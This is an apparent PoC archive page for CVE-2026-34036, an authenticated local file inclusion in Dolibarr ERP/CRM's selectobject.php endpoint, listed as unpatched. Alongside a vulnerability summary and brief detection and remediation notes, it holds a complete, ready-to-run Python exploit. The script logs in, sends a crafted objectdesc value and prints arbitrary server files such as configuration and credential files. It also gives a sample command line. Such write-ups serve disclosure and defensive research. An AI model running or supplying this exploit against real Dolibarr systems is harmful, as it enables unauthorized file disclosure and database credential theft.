PoC Archive PoC Archive
Medium CVE-2026-34036 unpatched

Dolibarr selectobject.php Authenticated Local File Inclusion (CVE-2026-34036)

by cnf409 · 2026-07-05

Severity
Medium
CVE
CVE-2026-34036
Category
web
Affected product
Dolibarr ERP/CRM
Affected versions
Version reachable via core/ajax/selectobject.php (specific version range not stated in source)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researchercnf409
CVE / AdvisoryCVE-2026-34036
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsdolibarr, lfi, local-file-inclusion, authenticated, crm, ajax, php
RelatedN/A

Affected Target

FieldValue
Software / SystemDolibarr ERP/CRM
Versions AffectedVersion reachable via core/ajax/selectobject.php (specific version range not stated in source)
Language / PlatformPHP web application; PoC written in Python 3
Authentication RequiredYes (valid Dolibarr user credentials)
Network Access RequiredYes

Summary

Dolibarr’s core/ajax/selectobject.php endpoint, used to power object-picker autocomplete widgets in the UI, accepts an objectdesc parameter that is used to build a path to a local file. An authenticated user can craft an objectdesc value (in the form A:<path>:0) that causes the endpoint to read and return the contents of an arbitrary local file on the server instead of the intended object description file. The included PoC logs into a target Dolibarr instance with valid credentials, issues the crafted request against selectobject.php, and prints the disclosed file contents after trimming PHP warning/error noise from the response.


Vulnerability Details

Root Cause

The objectdesc parameter passed to core/ajax/selectobject.php is used to construct a filesystem path without adequate validation, allowing an authenticated user to specify arbitrary paths relative to the Dolibarr web root.

Attack Vector

  1. Authenticate to the target Dolibarr instance with any valid low-privilege account.
  2. Send a GET request to core/ajax/selectobject.php with objectdesc=A:<path>:0 where <path> is the file to read (e.g. conf/.htaccess).
  3. The endpoint reads and returns the contents of the specified file in the HTTP response.
  4. Strip PHP warning/fatal-error noise from the response to recover the clean file contents.

Impact

Disclosure of arbitrary local files readable by the web server process (e.g. configuration files, credentials, source code), which can lead to further compromise such as database credential theft.


Environment / Lab Setup

Target:   Dolibarr instance with core/ajax/selectobject.php reachable, valid user account
Attacker: Python 3 + requests library

Proof of Concept

PoC Script

See CVE-2026-34036.py in this folder.

1
2
3
4
5
python3 CVE-2026-34036.py \
  --url http://127.0.0.1:8080 \
  --username admin \
  --password admin \
  --file conf/.htaccess

The script logs into Dolibarr using the supplied credentials, requests core/ajax/selectobject.php with a crafted objectdesc parameter pointing at the target file, and prints the disclosed file contents to stdout.


Detection & Indicators of Compromise

Signs of compromise:

  • Access log entries for core/ajax/selectobject.php with objectdesc values referencing configuration files or paths outside the expected object-picker usage
  • Repeated authenticated requests to the same AJAX endpoint from a single session enumerating different file paths

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationValidate objectdesc against an allowlist of expected object types/paths and reject any value resolving outside the intended object-description directory

References


Notes

Mirrored from https://github.com/cnf409/CVE-2026-34036 on 2026-07-05.

CVE-2026-34036.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
"""CVE-2026-34036 - Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import re
import requests


def login(s, url, username, password):
    page = s.get(f"{url}/").text
    token = re.search(r'name="token"\s+value="([^"]*)"', page)
    s.post(f"{url}/index.php?mainmenu=home", data={
        "token": token.group(1) if token else "",
        "actionlogin": "login",
        "loginfunction": "loginfunction",
        "username": username,
        "password": password,
    })
    home = s.get(f"{url}/index.php?mainmenu=home").text
    if "/user/logout.php" not in home:
        raise SystemExit("[!] Login failed")
    print("[+] Login successful")


def read_file(s, url, path):
    resp = s.get(f"{url}/core/ajax/selectobject.php", params={
        "outjson": "0",
        "htmlname": "x",
        "objectdesc": f"A:{path}:0",
    })
    body = resp.text
    # Trim PHP warnings/fatal errors from output
    for marker in ("<br />\n<b>Warning", "<br />\n<b>Fatal error"):
        pos = body.find(marker)
        if pos != -1:
            body = body[:pos]
    return body.strip()


def main():
    p = argparse.ArgumentParser(description="CVE-2026-34036 PoC")
    p.add_argument("--url", default="http://127.0.0.1:8080")
    p.add_argument("--username", required=True)
    p.add_argument("--password", required=True)
    p.add_argument("--file", required=True, help="e.g. conf/.htaccess")
    args = p.parse_args()

    s = requests.Session()
    login(s, args.url, args.username, args.password)

    content = read_file(s, args.url, args.file)
    print(f"[+] {args.file}\n{'=' * 60}")
    print(content if content else "(empty)")
    print("=" * 60)


if __name__ == "__main__":
    main()